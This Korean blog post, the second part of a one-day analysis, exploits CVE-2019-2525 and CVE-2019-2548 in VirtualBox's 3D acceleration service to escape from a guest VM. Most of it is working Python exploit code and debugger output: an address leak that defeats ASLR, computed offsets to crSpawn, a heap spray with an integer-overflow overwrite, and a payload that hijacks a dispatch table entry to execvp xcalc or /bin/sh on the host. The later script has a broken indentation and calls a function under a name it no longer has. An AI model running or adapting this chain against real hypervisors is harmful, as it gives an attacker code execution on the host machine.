블로그 이전했습니다. https://jeongzero.oopy.io/
CVE-2019-2525, CVE-2019-2548(2)
본문 바로가기
보안/원데이 분석

CVE-2019-2525, CVE-2019-2548(2)

728x90

 

1편에서 설명을 다했기 때문에 바로 분석으로 넘어가겠다. 

1. CVE-2018-2525 ⇒ information leak


해당 CVE는 crUnpackExtendGetAttribLocation() 함수에서 터지는 취약점이다. 해당 함수는 다음과 같이 되어있다. 

  • unpack_shaders.c

READ_DATA(0,int) 의 반환값이 packet_length 변수에 담긴다. READ_DATA는 매크로로 설정된 함수로서 다음과 같이 구현되어 있다. 

 

  • cr_unpack.h
#define READ_DATA( offset, type ) *( (const type *) (cr_unpackData + (offset)))

첫번째 인자가 offset이고 두번째 인자가 type이다. 현재 READ_DATA(0,int) 이므로 이를 매크로 함수에 대입시키면 다음과 같다 

  • (int*)(cr_unpackData + 0)

 

cr_unpackData는 cr_unpack.h 헤더파일에서 extern으로 설정되어있다. 

 

그럼 cr_unpackData가 extern으로 외부변수를 가지고 오는데 이는 아래의 함수에서 확인 가능하다. 

crUnpack() 함수가 호출될때 들어온 인자 들중 opcode가 unpack_opcodes로 들어가고, data가 cr_unpackData로 들어간다. 따라서 아까 READ_DATA(0,int)의 의미는, 사용자가 전송한 crMessage어쩌구 구조체에서 헤더와 오피코드를 제외한 오퍼랜드 부분을 가져온다.  

 

결론적으로 보면 위와 같은 포맷에 맞춰서 3dpwn wrapper 라이브러리의 crmsg() 함수를 호출하면 crUnpackExtendGetAttribLocation() 함수가 호출된다. msg에 담긴 포맷을 crMessag 구조체에 비교해서 보면 이해하기 쉽다. 

 

오른쪽 포맷이 여태 설명했던 구조 형태이다. 실제로 위 msg 포맷에 담기는 데이터는 왼쪽의 순서로 담긴다. 4바이트 단위로, type, conn_id, opcode개수, opcode, offset, sub opcode, 아무값 이렇게 넣으면 된다. 그럼다시 crUnpackExtendGetAttribLocation() 함수를 봐보자 

 

7라인의 READ_DATA(0,4)를 통해 오퍼랜드의 첫 4바이트인 offset에 담긴 값을 packet_length에 담는다. 그다음 10라인을 보면 SET_RETURN_PTR() 을 호출하는데, 이역시 매크로 함수이다. 

 

보면 crMemcpy() 함수로 cr_unpackData+offset에 담긴 내용을 return_ptr에 복사한다. 여기서 이제 중요하다. offset은 우리가 msg에 넣은 값이므로 아무값이나 변경가능하다. 즉, packet_lenght를 변경시킬수 있으므로 packet_length-16 를 음수로 만들수도, 양수로 만들수도 있고, 이를 통해 cr_unpackData 주변의 어떠한 데이터도 return_ptr에 옮길수 있다. 테스트용으로 offset을 0으로 하여 한번 msg를 만들어서 확인해보자. 

 

import sys, os
from struct import pack, unpack
from pwn import *
print os.path.dirname(__file__)
sys.path.append("./lib")
from chromium import *

def make_leak_msg(len):
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                        + pack("<I", len)
                        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                        + pack("<I", 0x42424242) )
        return msg



if __name__ == "__main__":
        try:
                client = hgcm_connect("VBoxSharedCrOpenGL")
                set_version(client)        
                print(client)
                msg=crmsg(client, make_leak_msg(0))
                print(hex(u32(msg[0:8])))
                print(hex(u32(msg[8:16])))
                hgcm_disconnect(client)
        except Exception as ex:
                print(ex)

guestOS에서 위 코드를 작성한뒤 호스트에서 디버거를 붙히고, crUnpackExtendGetAttribLocation+49에 bp를 건뒤에 continue를 진행해보자. 

 

  • gdb -p `pidof VirtualBoxVM` 를입력하면 다음과 같이 디버깅화면이 나온다. 디버깅이 시작되면 게스트OS는 멈춰진다. continue가 되야 동작된다. 디버깅을 호스트에서 ssh으로 붙어서 하는 이유가 바로 이때문이다.

 

이제 b* crUnpackExtendGetAttribLocation+49를 누르고 c를 누른뒤, guest에서 작성한 스크립트를 실행시키면 bp건 함수에 딱 멈춘다 

 

set_return_ptr 매크로 함수에 잘 걸렸고, 이는 crMemcpy() 함수이므로 정상동작한다. rsi에 있는 값이 rdi로 복사될 텐데, rsi에 어떤 값이 들어있는지 확인해보자 

 

rsi에는 cr_unpackData+offset의 주소가 들어간다고 했다. 현재 offset을 0으로 줬으므로 set_return_ptr의 인자는 packet_length-16 즉, cr_unpackData-16의 값이 들어간다. 이는 헤더를 가리키는 주소이다. 순서대로 type, conn_id, opcode 개수, opcode, offset, sub opcode, 더미값이다. crmsg가 호출되고 반환되는 값을 확인해보자. 

 

msg=crmsg(client, make_leak_msg(0))
print(hex(u64(msg[0:8])))
print(hex(u64(msg[8:16])))

위와 같이 반환된 값을 출력해보았는데, [0:8] 에는 뭔지는 모르겠지만 [8:16]의 값은 opcode, opcode개수가 반환되었다. 따라서 offset을 적절히 조정하여 메모리상의 아무 주소를 leak할수 있다. 어떤 값을 leak해야하는지 유의미한 값을 확인해보다보면 

 

이렇게 _textformat_l8 의 주소값이 들어있는 것을 확인할 수 있다. 저거를 leak하게 되면 저 주소를 가지고 오프셋을 이용하여 cr_server라는 구조체의 주소를 계산할 수 있다. cr_server는 후에 필요한 주소의 고정점이기 때문에 알아야 한다. 

 

한가지 알아야 할점은 현재 저 _textformatl8 주소는 msg 헤더기준으로 +0x30에 위치에 있지만 다시 실행해보면 위치가 달라진다.(이유는 모르겠음) 

이렇게 달라진다. 또한 ASLR이 걸려있어서 풀 주소는 사용 못하고 하위3바이트를 체크해서 0x978이 나올때 까지 찾아야 한다. 따라서 offset을 0부터 8바이트씩 추가로 늘려주면서 반복문을 이용하면 된다. 

 

import sys, os
from struct import pack, unpack
from pwn import *
print os.path.dirname(__file__)
sys.path.append("./lib")
from chromium import *

def make_leak_msg(len):
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                        + pack("<I", len)
                        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                        + pack("<I", 0x42424242) )
        return msg



if __name__ == "__main__":
        try:
                client = hgcm_connect("VBoxSharedCrOpenGL")
                set_version(client)        
                print(client)
                msg=crmsg(client, make_leak_msg(0))
                print(hex(u64(msg[0:8])))
                print(hex(u64(msg[8:16])))

                for i in range(0, 0x1000, 8):
                        addr = crmsg(client, make_leak_msg(i))
                        leak=u64(addr[8:16])
                        #print("===="+hex(leak))
                        if leak&0x00000fff == 0x978:
                                break

                textl8_addr=u64(addr[8:16])
                print("textl8_addr:: "+hex(textl8_addr))
                hgcm_disconnect(client)
        except Exception as ex:
                print(ex)

 

 

이제 leak 저 주소를 가지고 cr_server 주소를 구해보자 

 

_textformat_l8 과 cr_server 는 0x22ed88 차이이다. 

  • cr_server : _textformat_l8 + 0x22ed88

 

cr_server를 구했으니 cr_unpackDispatch 주소도 쉽게 알수있다. cr_server 구조체를 보면 dispatch 라는 필드가 있는데, 이는 함수테이블이라고 생각하면 편하다. 뒤에서 저 함수 테이블 중에 하나의 함수를 호출하는 부분을 overwrite하여 got overwirte 마냥 익스를 해야한다. 자세한건 뒤에서 설명하고 어쨋든 이러한 이유 때문에 cr_unpackDispatch 함수 주소를 알아야 한다. 

  ...
  protocol = "vboxhgcm", '\000' <repeats 1015 times>, 
  head_spu = 0x7f52b012efa0, 
  dispatch = {
    Accum = 0x7f5314e21560 <glAccum>, 
    ActiveStencilFaceEXT = 0x7f52dd863cc0 <crServerDispatchActiveStencilFaceEXT>, 
    ActiveTextureARB = 0x7f52dd863cf0 <crServerDispatchActiveTextureARB>, 
    AlphaFunc = 0x7f52dd863d20 <crServerDispatchAlphaFunc>, 
    AreProgramsResidentNV = 0x7f52dd86ffc0 <crServerDispatchAreProgramsResidentNV>, 
    AreTexturesResident = 0x7f52dd86f740 <crServerDispatchAreTexturesResident>, 
    ArrayElement = 0x7f5314e22100 <glArrayElementEXT>, 
    AttachShader = 0x7f52dd86f950 <crServerDispatchAttachShader>, 
    BarrierCreateCR = 0x7f52dd8742a0 <crServerDispatchBarrierCreateCR>, 
    BarrierDestroyCR = 0x7f52dd8745e0 <crServerDispatchBarrierDestroyCR>, 
    BarrierExecCR = 0x7f52dd874630 <crServerDispatchBarrierExecCR>, 
    Begin = 0x7f52dd85a9b0 <crServerDispatchBegin>, 
    BeginQueryARB = 0x7f52dd863d60 <crServerDispatchBeginQueryARB>, 
    BindAttribLocation = 0x7f52dd86fb30 <crServerDispatchBindAttribLocation>, 
    BindBufferARB = 0x7f52dd878000 <crServerDispatchBindBufferARB>, 
    BindFramebufferEXT = 0x7f52dd870340 <crServerDispatchBindFramebufferEXT>, 
    BindProgramARB = 0x7f52dd8741c0 <crServerDispatchBindProgramARB>, 
    BindProgramNV = 0x7f52dd874230 <crServerDispatchBindProgramNV>, 
    BindRenderbufferEXT = 0x7f52dd870520 <crServerDispatchBindRenderbufferEXT>, 
    BindTexture = 0x7f52dd86f4c0 <crServerDispatchBindTexture>, 
    Bitmap = 0x7f52dd863da0 <crServerDispatchBitmap>, 
    BlendColorEXT = 0x7f52dd863e20 <crServerDispatchBlendColorEXT>, 
    BlendEquationEXT = 0x7f52dd863e80 <crServerDispatchBlendEquationEXT>, 
    BlendEquationSeparate = 0x7f5314e236e0 <glBlendEquationSeparate>, 
    BlendFunc = 0x7f52dd863eb0 <crServerDispatchBlendFunc>, 
    BlendFuncSeparateEXT = 0x7f52dd863ef0 <crServerDispatchBlendFuncSeparateEXT>, 
    BlitFramebufferEXT = 0x7f52dd85a030 <crServerDispatchBlitFramebufferEXT>, 
    BoundsInfoCR = 0x7f52dd8780b0 <crServerDispatchBoundsInfoCR>, 
    BufferDataARB = 0x7f52dd863f40 <crServerDispatchBufferDataARB
 ...

 

cr_server에서 +0xadc0 만큼 떨어진곳에 cr_unpackDispatch가 있다. 

 

이제 하나만 더 알아내면 된다. crSpawn라는 함수이다. 저 함수는 내부적으로 execvp syscall을 사용한다. 

pwndbg> p crSpawn
$2 = {CRpid (const char *, const char **)} 0x7f52dce83510 <crSpawn>
pwndbg> x/100i 0x7f52dce83510
   0x7f52dce83510 <crSpawn>:	push   rbp
   0x7f52dce83511 <crSpawn+1>:	mov    rbp,rsp
   0x7f52dce83514 <crSpawn+4>:	push   r12
   0x7f52dce83516 <crSpawn+6>:	push   rbx
   0x7f52dce83517 <crSpawn+7>:	mov    r12,rsi
   0x7f52dce8351a <crSpawn+10>:	mov    rbx,rdi
   0x7f52dce8351d <crSpawn+13>:	call   0x7f52dce76320 <fork@plt>
   0x7f52dce83522 <crSpawn+18>:	cdqe   
   0x7f52dce83524 <crSpawn+20>:	test   eax,eax
   0x7f52dce83526 <crSpawn+22>:	je     0x7f52dce83530 <crSpawn+32>
   0x7f52dce83528 <crSpawn+24>:	pop    rbx
   0x7f52dce83529 <crSpawn+25>:	pop    r12
   0x7f52dce8352b <crSpawn+27>:	pop    rbp
   0x7f52dce8352c <crSpawn+28>:	ret    
   0x7f52dce8352d <crSpawn+29>:	nop    DWORD PTR [rax]
   0x7f52dce83530 <crSpawn+32>:	mov    rsi,r12
   0x7f52dce83533 <crSpawn+35>:	mov    rdi,rbx
   0x7f52dce83536 <crSpawn+38>:	call   0x7f52dce759e0 <execvp@plt>

 

따라서 저함수를 아까 dispatch 테이블중 하나의 함수에다가 덮고 인자로 /bin/sh나 xalc를 주면 끝이다. crSpawn 함수는 VBoxOGLhostcrutil_base.so에 존재하는 함수이다. 따라서 cr_server 가 들어있는 라이브러리의 시작주소를 구하고, 거기서부터 VBoxOGLhostcrutil_base.so 라이브러이의 시작주소를 구하면 base주소를 알수 있다. 

 

  • VBoxOGLhostcrutil_base=cr_server_base-0x6700-0x544000
  • crSpawn_addr=VBoxOGLhostcrutil_base+0x14510

 

cr_server으로 VBoxOGLhostcrutil base 주소를 구하고 base주소에서 +0x14510 위치에 crSpawn함수가 들어있다. 따라서 정리하면 총 3개의 함수를 얻어야한다. 

 

  1. cr_server
  1. cr_unpackDispatch
  1. crSpawn

 

import sys, os
from struct import pack, unpack
from pwn import *
print os.path.dirname(__file__)
sys.path.append("./lib")
from chromium import *

def make_leak_msg(len):
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                        + pack("<I", len)
                        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                        + pack("<I", 0x42424242) )
        return msg



if __name__ == "__main__":
        try:
                client = hgcm_connect("VBoxSharedCrOpenGL")
                set_version(client)        
                print(client)
                msg=crmsg(client, make_leak_msg(0))
                print(hex(u64(msg[0:8])))
                print(hex(u64(msg[8:16])))

                i=0
                while(1):
                        addr = crmsg(client, make_leak_msg(i))
                        leak=u64(addr[8:16])
                        #print("===="+hex(leak))
                        if leak&0x00000fff == 0x978:
                                break
                        i=i+8

                textl8_addr=u64(addr[8:16])
                print("textl8_addr:: "+hex(textl8_addr))
                cr_server_base=leak+0x22ed88
                VBoxOGLhostcrutil_base=cr_server_base-0x6700-0x544000
                crSpawn_addr=VBoxOGLhostcrutil_base+0x14510
                cr_unpackDispatch_addr=cr_server_base+0xadc0
                print("cr_server:: "+hex(cr_server_base))
                print("VBoxOGLhostcrutil_base:: "+hex(VBoxOGLhostcrutil_base))
                print("crSpawn:: "+hex(crSpawn_addr))
                print("cr_unpackDispatch:: "+hex(cr_unpackDispatch_addr))

                hgcm_disconnect(client)
        except Exception as ex:
                print(ex)

 

 

이제 원하는 함수의 주소는 다 구했으니 진짜 시작해보자! 

 

 

2. CVE-2018-2548 ⇒ integer overflow


  • server_readpixels.c

해당 취약점은 crserverDispatchReadPixels() 함수에서 발생하는 interger overflow이다. opcode로 들어온 값에 따라서 호출되는 핸들러가 바로 이 함수인데, 60라인을 보면 msg_len이 계산되는 로직에서 문제가 생긴다. CRMessageReadPixels 구조체는 아래와 같이 구성되어 있다. 

 

 

따라서 rp포인터 변수의 사이즈는 0x38이다. msg_len 계산식을 보면 sizeof(*rp) 즉 0x38에다가 bytes_per_row * height 를 더한게 된다. bytes_per_rowheight 모두 컨트롤 할수 있는 값이므로 인티저 오버플로우를 일으켜 msg_len을 0x20으로 조지면 된다. 그러기 위해선,  

  • height = 8
  • bytes_per_row = 0x1ffffffd

 

요렇게 맞추면 된다. 헌데 왜 0x20으로 msg_len을 변경해야하나?. 결론을 일단 말하자면, msg_len을 0x20으로 변경시키면 힙 스프레이를 이용하여 CRVBOXSVCBUFFER_t 구조체 버퍼의 일부를 overwrite시킬수 있다. 그리고 이걸 이용해서 익스를 조질수 있다. 

 

 

 

3. heap spray


참고로 spray idea는 참고문헌에 있는 사이트를 보고 공부했다.

 

분석 1편에서 alloc_buf() 를 이용해서 서버에서의 버퍼를 할당해줄수 있다고 했다.  

1편에서 설명했던 CRVBOXSVCBUFFER_t 구조체의 크기가 바로 0x20이다. 만약 우리가 0x20 크기의 msg를 클라에서 alloc_buf() 함수를 이용해서 20개 정도 요청하면, 서버에서는 CRVBOXSVCBUFFER_t 타입의 버퍼를 20개 만들꺼다. (id=0, size=0x20을 줘서 버퍼와 pdata를 힙에 생성시키기) 

 

분석1편에서 설명했듯이, svcCall에서 버퍼를 생성시키면 힙에 CRVBOXSVCBUFFER_t 버퍼 공간 0x20과 요청한 사이즈에 맞는 pdata를 생성한다고 했다. 따라서 사이즈를 0x20으로 주면 위와 같이 0x20 크기의 청크들이 할당된다. (버퍼, pdata 청크 모두 0x20+헤더) 

 

이상태에서 hgcm_call(..write_read_buffered..) 를 호출하여 저 CRVBOXSVCBUFFER_t중 짝수(or 홀수) 버퍼들을 free 시킨다. 여기서 free가 될때 버퍼와 버퍼에 해당하는 pdata 영역이 free가 된다. 

static void svcFreeBuffer(CRVBOXSVCBUFFER_t* pBuffer)
{
    Assert(pBuffer);

    if (pBuffer->pPrev)
    {
        pBuffer->pPrev->pNext = pBuffer->pNext;
    }
    else
    {
        Assert(pBuffer==g_pCRVBoxSVCBuffers);
        g_pCRVBoxSVCBuffers = pBuffer->pNext;
    }

    if (pBuffer->pNext)
    {
        pBuffer->pNext->pPrev = pBuffer->pPrev;
    }

    RTMemFree(pBuffer->pData);
    RTMemFree(pBuffer);
}

순서는 pData, pBuffer(CRVBOXSVCBUFFER) 순으로 된다. 

 

다시 한번 말하면, hgcm_call(..write_read_buffered..)로 버퍼를 free시키면 버퍼와 거기에 딸려있는 pdata 영역이 free가 된다. 순서는 버퍼, pdata 순으로 free되고, 둘다 0x20사이즈이므로 fastbin에 들어갈 것이다.  

 

만약 이 상태에서 alloc_buf()함수를 다시 이용하여 0x50사이즈 버퍼, 0x20사이즈 버퍼를 번갈아 가면서 할당한다면 CRVBOXSVCBUFFER_t 구조체 사이즈는 0x20 으로 고정이므로, free 청크를 하나 재할당해주고, free된 pData영역은 0x20사이즈이므로 다른 영역에 0x50 사이즈 pData를 할당해줄것이다. 

 

그다음 0x20 사이즈 버퍼는 free된 CRVBOXSVCBUFFER_t 청크와 free된 pdata 청크 두개를 재할당 해줄수 있으므로 다음과 같이 된다. 

alloc_buf() 함수로 0x50 사이즈를 요청하면, 우선 버퍼 구조체크기는 0x20이므로 free된 청크중 가장 최근에 해제된 청크를 재할당해줄것이다(파란색). 그다음 pData는 0x50이므로 free청크를 사용할수 없기 때문에 어딘가 에 할당해준다. 

 

그다음 0x20 사이즈를 요청하면 구조체 버퍼, pdata 영역 모두 0x20이므로 free 청크를 사용할수 있고, 재할당해준다.(초록색) 따라서 위 사진을 보면 그냥 알기 쉽게 숫자를 써놓았다. 숫자의 의미는 없고 pData영역이 어떤 버퍼에 포함되는지를 위해 써놓았다. 

 

이제 이상태에서 0x50 크기 파란색 버퍼중 짝수버퍼를 free 시키자. 

 

만약 이 상태에서 crserverDispatchReadPixels() 함수에서 msg_len을 0x20으로 만들고, crAlloc(0x20)을 호출하면 현재 fastbin에 들어있는 최근에 free된 청크 공간을 재할당 해줄 것이다. 위 사진의 주황색 청크중 하나를 재할당 해줄 것이다. 헌데 실제

CRMessageReadPixels

 

구조체 크기는 0x38이지만 0x20으로 속여서 할당받았으므로 주황색 청크에 바로 인접해 있는 다음 CRVBOXSVCBUFFER_t 버퍼의 상위 0x18 크기가 overwirte 된다(보라색이 옆을 덮음) 

 

 

이렇게 다음 청크의 uiSize 까지 덮여진다. 즉, uiID, uiSize를 조정가능하고 이때를 위해서 분석 1편에서 write_buffer, write_read_buffered를 오지게 로직을 설명한것이다!!!! 

 

실제 우리가 변경해야하는 것은 pData이다. 하지만 현재 덮힌 부분은 uiSize까지이다.  

hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [id, size, offset, msg]) 을 이용해서 id와 size에 일치하는 buf의 pdata+offset에 값을 쓸수 있다.  

 

따라서 다음 버퍼의 0x18이 덮힐때, uiID, uiSize에 0xdeadbeef, 0xffffffff 이렇게 값을 넣어주고, hgcm_call(..WRITE_BUFFER..)를 이용해서 0xdeadbeef id를 가지고 사이즈가 0xffffffff인 버퍼를 선택한한다. 

그다음 pData+offset 잘 조정해서 뒤에 있는 또다른 CRVBOXSVCBUFFER_t 버퍼의 uiID 부터 ~ pData까지를 덮어버리면 된다. 그림으로 봐보자. 

 

요걸로 전부다 설명이 가능하다.  

  1. 0x18 partial overwrite를 이용해서 uiId, uiSIze를 변경한다(0xdeadbeef, 0xffffffff)
  1. hgcm_call로 0xdeadbeef id를 가진 버퍼를 찾은뒤, 현재 초록색 버퍼의 pdata 주소 기준으로 0x30만큼 떨어져 있는 곳에 다른 버퍼의 uiId가 들어있다. 여기에 새로운 id, size, 그리고 원하는 주소를 msg에 담는다(0xbeefbeef, 0xffffff00, ??)
  1. hgcm_call을 한번더 호출해서 이번에는 0xbeefbeef id를 가진 버퍼를 찾고, 우리가 현재 0xbeefbeef id 버퍼의 pdata 주소를 ?? 이걸로 변경했기 때문에 ?? 기준으로 아무 값이나 쓰기가 가능하다.

 

우선 힙스프레이 후, 다음 버퍼의 uid,size를 변경하고, 0xdeadbeef 버퍼를 이용하여 초록색 부분의 uid,size,pdata 영역을 변조시킨 결과이다. (id: 0xbeefbeef, size : 0xfffffff0) 

pwndbg> x/40gx 0x7fe1e6941d00
0x7fe1e6941d00:	0x0000000000000000	0x0000000000000031
0x7fe1e6941d10:	0x00007fe1e693f510	0x00007fe1e4000098
0x7fe1e6941d20:	0x000000001ffffffd	0x0000000000000000
0x7fe1e6941d30:	0x0000000000000030	0x0000000000000034
0x7fe1e6941d40:	0xffffffffdeadbeef	0x00007fe1e6941dd0
0x7fe1e6941d50:	0x00007fe1e6941c50	0x00007fe1e6941e00
0x7fe1e6941d60:	0x0000140100001908	0x0000000000000035
0x7fe1e6941d70:	0x00000020000061a6	0x00007fe1e6941da0
0x7fe1e6941d80:	0x00007fe1e6941cb0	0x00007fe1e6941e30
0x7fe1e6941d90:	0x0000000000000000	0x0000000000000035
0x7fe1e6941da0:	0x4242424242424242	0x4242424242424242
0x7fe1e6941db0:	0x4242424242424242	0x4242424242424242
0x7fe1e6941dc0:	0x0000000000000000	0x0000000000000035
0x7fe1e6941dd0:	0x4444444444444444	0x4444444444444444
0x7fe1e6941de0:	0x4444444444444444	0x4444444444444444
0x7fe1e6941df0:	0x0000000000000000	0x0000000000000035
0x7fe1e6941e00:	0xfffffff0beefbeef	0x00007fe201bf8500
0x7fe1e6941e10:	0x00007fe1e6941d40	0x00007fe1e6941e90

 

힙 스프레이까지의 코드는 다음과 같다 

import sys, os
from struct import pack, unpack
from pwn import *
print os.path.dirname(__file__)
sys.path.append("./lib")
from chromium import *

def leak_addr(len):
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                        + pack("<I", len)
                        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                        + pack("<I", 0x42424242) )
        return msg

def for_heapex():
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
                        + pack("<II", 0, 0) #header
                        + pack("<II", 0, 0x8) #widht,height
                        + pack("<II", 0x35, 0) 
                        + pack("<II", 0, 0) #stride, alignment
                        + pack("<II", 0, 0) #skipRows, skippixel
                        + pack("<II", 0x1ffffffd, 0x00) #byte_per_rw, row_legnth
                        + pack("<II", 0xdeadbeef,0xffffffff)) #net..
        return msg

def crSpwan_para(xcalc,xcalc_addr):
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + "\x00\x00\x00" + chr(CR_BOUNDSINFOCR_OPCODE)
                        + pack("<IQ",0,xcalc )
                        + pack("<III",0,0,0)
                        + pack("<Q",xcalc_addr)
                        + pack("<I",0) )
        return msg



if __name__ == "__main__":
        try:
                client = hgcm_connect("VBoxSharedCrOpenGL")
                set_version(client)        
                print(client)
                msg=crmsg(client, make_leak_msg(0))
                print(hex(u64(msg[0:8])))
                print(hex(u64(msg[8:16])))

                i=0
                while(1):
                        addr = crmsg(client, make_leak_msg(i))
                        leak=u64(addr[8:16])
                        #print("===="+hex(leak))
                        if leak&0x00000fff == 0x978:
                                break
                        i=i+8

                textl8_addr=u64(addr[8:16])
                print("textl8_addr:: "+hex(textl8_addr))
                cr_server_base=leak+0x22ed88
                VBoxOGLhostcrutil_base=cr_server_base-0x6700-0x544000
                crSpawn_addr=VBoxOGLhostcrutil_base+0x14510
                cr_unpackDispatch_addr=cr_server_base+0xadc0
                print("cr_server:: "+hex(cr_server_base))
                print("VBoxOGLhostcrutil_base:: "+hex(VBoxOGLhostcrutil_base))
                print("crSpawn:: "+hex(crSpawn_addr))
                print("cr_unpackDispatch:: "+hex(cr_unpackDispatch_addr))
								VBoxOGLhostcrutil_base=cr_server_base-0x6700-0x544000
                crSpawn_addr=VBoxOGLhostcrutil_base+0x14510
                cr_unpackDispatch_addr=cr_server_base+0xadc0
                print("cr_server:: "+hex(cr_server_base))
                print("VBoxOGLhostcrutil_base:: "+hex(VBoxOGLhostcrutil_base))
                print("crSpawn:: "+hex(crSpawn_addr))
                print("cr_unpackDispatch:: "+hex(cr_unpackDispatch_addr))
                print("cr_unpackDispatch+0xd8:: "+hex(cr_unpackDispatch_addr+0xd8))

                buf=[]
                for i in range(0,200):
                        buf.append(alloc_buf(client, 0x20, "B"*0x20))
                print("finish 200 buf alloc")
                #print(buf[::2])
                buf=buf[::-1]
                for i in buf[::2]:
                        #print("i is :: "+str(i))
                        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [i, 'B'*0x20, 0])

                #print("buf[::2] len :: "+len(buf[::2]))
                buf2=[]
                for i in range(len(buf[::2])):
                        buf2.append(alloc_buf(client,0x50,"C"*0x50))
                        alloc_buf(client,0x20,"D"*0x20)
                for i in buf2[::2]:
                        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [i, 'B'*0x20, 0])
                crmsg(client,for_heapex())

 

참고로 crserverDispatchReadPixels 함수를 필요할때 필요한 인자와 인자의 순서? 는 소스코드에서 확인하면 된다. 

#include "unpacker.h"
#include "cr_pixeldata.h"
#include "cr_mem.h"

void crUnpackReadPixels( void )
{
        GLint x        = READ_DATA( 0, GLint );
        GLint y        = READ_DATA( 4, GLint );
        GLsizei width  = READ_DATA( 8, GLsizei );
        GLsizei height = READ_DATA( 12, GLsizei );
        GLenum format  = READ_DATA( 16, GLenum );
        GLenum type    = READ_DATA( 20, GLenum );
        GLint stride   = READ_DATA( 24, GLint );
        GLint alignment     = READ_DATA( 28, GLint );
        GLint skipRows      = READ_DATA( 32, GLint );
        GLint skipPixels    = READ_DATA( 36, GLint );
        GLint bytes_per_row = READ_DATA( 40, GLint );
        GLint rowLength     = READ_DATA( 44, GLint );
        GLvoid *pixels;

        /* point <pixels> at the 8-byte network pointer */
        pixels = DATA_POINTER( 48, GLvoid );

        (void) stride;
        (void) bytes_per_row;
        (void) alignment;
        (void) skipRows;
        (void) skipPixels;
        (void) rowLength;

        /* we always pack densely on the server side! */
        cr_unpackDispatch.PixelStorei( GL_PACK_ROW_LENGTH, 0 );
        cr_unpackDispatch.PixelStorei( GL_PACK_SKIP_PIXELS, 0 );
        cr_unpackDispatch.PixelStorei( GL_PACK_SKIP_ROWS, 0 );
        cr_unpackDispatch.PixelStorei( GL_PACK_ALIGNMENT, 1 );

        cr_unpackDispatch.ReadPixels( x, y, width, height, format, type, pixels);

        INCR_DATA_PTR(48+sizeof(CRNetworkPointer));
}

 

자 그럼이제 CRVBOXSVCBUFFER_t 버퍼를 완벽하게 컨트롤 가능하다. 그렇다면 pdata를 어떤 값으로 덮을지를 생가해보자. 그으으으으 전에 우리가 최종적으로 해야하는 일은, dispatch 테이블 중 하나의 함수가 호출될때 이를 덮어서 crSpawn함수가 실행되게 해야한다고 했다. 

 

우선 crSpawn() 함수를 보면  

0x7fe2016b7522 <crSpawn+18>    cdqe   
0x7fe2016b7524 <crSpawn+20>    test   eax, eax
0x7fe2016b7526 <crSpawn+22>    je     crSpawn+32 <crSpawn+32>
↓
0x7fe2016b7530 <crSpawn+32>    mov    rsi, r12
0x7fe2016b7533 <crSpawn+35>    mov    rdi, rbx
 ► 0x7fe2016b7536 <crSpawn+38>    call   execvp@plt <execvp@plt>
        file: 0x7fe20215cbd0 ◂— 0x636c616378 
        argv: 0x7fe1e6b2f478 —▸ 0x7fe201bf8500 (cr_unpackDispatch+64) ◂— 0x636c616378 
 
0x7fe2016b753b <crSpawn+43>    lea    rdi, [rip + 0xfef6]
0x7fe2016b7542 <crSpawn+50>    mov    esi, eax
0x7fe2016b7544 <crSpawn+52>    xor    eax, eax
0x7fe2016b7546 <crSpawn+54>    call   crWarning@plt <crWarning@plt>

0x7fe2016b754b <crSpawn+59>    pop    rbx
──────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────
In file: /home/wogh8732/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/process.c
   80 #else
   81 	pid_t pid;
   82 	if ((pid = fork()) == 0)
   83 	{
   84 		/* I'm the child */
 ► 85 		int err = execvp(command, (char * const *) argv);
   86 		crWarning("crSpawn failed (return code: %d)", err);
   87 		return 0;
   88 	}
   89 	return (unsigned long) pid;
   90 #endif

인자가 두개로 들어간다. execvp syscall을 하게 되는데, 이때 첫번째 인자로 문자열의 포인터, 두번째 인자로 문자열의 이중 포인터가 들어간다. 이게 포인트이다. 누누히 말하지만 dispatch 테이블에서 어떤 함수를 덮어야 하는데, 어떠한 함수를 골라야할까? 

 

결론은 사용하려는 함수가 두개 이상 인자를 가지고 호출되야하며, 반드시 첫번째 인자는 포인터를 가져야 한다. 바로 crUnpackBoundsInfoCR 요 함수가 딱 저렇게 인자를 가지고 호출된다. 

pwndbg> p cr_unpackDispatch
$1 = {
  Accum = 0x7f26a5386560 <glAccum>, 
  ActiveStencilFaceEXT = 0x7f266d79dcc0 <crServerDispatchActiveStencilFaceEXT>, 
  ActiveTextureARB = 0x7f266d79dcf0 <crServerDispatchActiveTextureARB>, 
  AlphaFunc = 0x7f266d79dd20 <crServerDispatchAlphaFunc>, 
  AreProgramsResidentNV = 0x7f266d7a9fc0 <crServerDispatchAreProgramsResidentNV>, 
  AreTexturesResident = 0x7f266d7a9740 <crServerDispatchAreTexturesResident>, 
  ArrayElement = 0x7f26a5387100 <glArrayElementEXT>, 
  AttachShader = 0x7f266d7a9950 <crServerDispatchAttachShader>, 
  BarrierCreateCR = 0x7f266d7ae2a0 <crServerDispatchBarrierCreateCR>, 
  BarrierDestroyCR = 0x7f266d7ae5e0 <crServerDispatchBarrierDestroyCR>, 
  BarrierExecCR = 0x7f266d7ae630 <crServerDispatchBarrierExecCR>, 
  Begin = 0x7f266d7949b0 <crServerDispatchBegin>, 
  BeginQueryARB = 0x7f266d79dd60 <crServerDispatchBeginQueryARB>, 
